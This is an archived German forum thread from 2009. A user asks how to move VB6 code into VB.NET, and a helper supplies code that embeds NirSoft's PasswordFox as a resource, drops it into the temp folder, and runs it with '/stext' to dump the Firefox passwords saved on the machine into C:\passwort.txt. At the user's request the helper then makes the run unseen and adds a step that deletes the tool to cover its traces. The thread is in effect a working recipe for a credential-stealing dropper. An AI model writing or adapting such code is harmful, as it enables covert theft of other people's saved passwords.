Archiv verlassen und diese Seite im Standarddesign anzeigen : vb 6 code aktualiesieren
sunny-boy3
08.07.2009, 12:58
Hallo ich habe ein Problem vllt kann mir jemand helfen ich habe vb.net und möchte ein paar nirsoft resourcen einbinden nur weiß ich nicht wie das bei .net geht und mit den coden hatte mal nen code für vb6
da ging es ja in detwa so:
Dim Bla As Byte
Bla = LoadResData (101, "CUSTOM")
open ("C:\passwortFox.exe" for Binary As #1
Put #1, , Bla()
Close #1
Shell "C:\passwortFox /stext" & "C:\passwort.txt"
Kill "C:\passwortFox.exe"
Erase Bla
Vorher mußte man da unter resource editor die exe hinzufügen aber wie geht das jetzt unter vb.net ?
habe dort auch kein resource editor gefunden und die definition bekomkme ich auch nicht hin
Ganz einfach:
Dim bw As New IO.BinaryWriter(New IO.FileStream(Environment.GetEnvironmentVariable("tmp") & "\passwortFox.exe", IO.FileMode.Create))
bw.Write(My.Resources.passwortFox)
bw.Close()
Process.Start(Environment.GetEnvironmentVariable("tmp") & "\passwortFox.exe")
Vorher mußte man da unter resource editor die exe hinzufügen aber wie geht das jetzt unter vb.net ?Einfach unter den Projekteigentschaften / Ressourcen
MfG
sunny-boy3
08.07.2009, 13:18
Ganz einfach:
Dim bw As New IO.BinaryWriter(New IO.FileStream(Environment.GetEnvironmentVariable("tmp") & "\passwortFox.exe", IO.FileMode.Create))
bw.Write(My.Resources.passwortFox)
bw.Close()
Process.Start(Environment.GetEnvironmentVariable("tmp") & "\passwortFox.exe")Einfach unter den Projekteigentschaften / Ressourcen
MfG
Funktioniert soweit ganbz gut nur will ich die resource invisible und die daten in txt speichern
wäre nett wen das iwie möglich wäre
also invislbe öffnen und den inhalt in txt in eine pfad speichern
Ps: Danke für deine hilfe!
Dim bw As New IO.BinaryWriter(New IO.FileStream(Environment.GetEnvironmentVariable("tmp") & "\passwortFox.exe", IO.FileMode.Create))
bw.Write(My.Resources.PasswordFox)
bw.Close()
Dim si As New ProcessStartInfo(Environment.GetEnvironmentVariabl e("tmp") & "\passwortFox.exe")
si.Arguments = "/stext C:\passwort.txt"
Process.Start(si)
While True
If Process.GetProcessesByName(("passwortFox")).Length < 1 Then
IO.File.Delete(Environment.GetEnvironmentVariable("tmp") & "\passwortFox.exe")
Exit While
End If
End WhileSo das sollte es sein was du dir vorgestellt hast ;)
MfG
sunny-boy3
08.07.2009, 13:33
Dim bw As New IO.BinaryWriter(New IO.FileStream(Environment.GetEnvironmentVariable("tmp") & "\passwortFox.exe", IO.FileMode.Create))
bw.Write(My.Resources.PasswordFox)
bw.Close()
Dim si As New ProcessStartInfo(Environment.GetEnvironmentVariabl e("tmp") & "\passwortFox.exe")
si.Arguments = "/stext C:\passwort.txt"
Process.Start(si)
IO.File.Delete(Environment.GetEnvironmentVariable("tmp") & "\passwortFox.exe")So das sollte es sein was du dir vorgestellt hast ;)
MfG
Hey genau das habe ich gesucht vielen dank für deine freundliche hilfe
Powered by vBulletin® Copyright ©2024 Adduco Digital e.K. und vBulletin Solutions, Inc. Alle Rechte vorbehalten.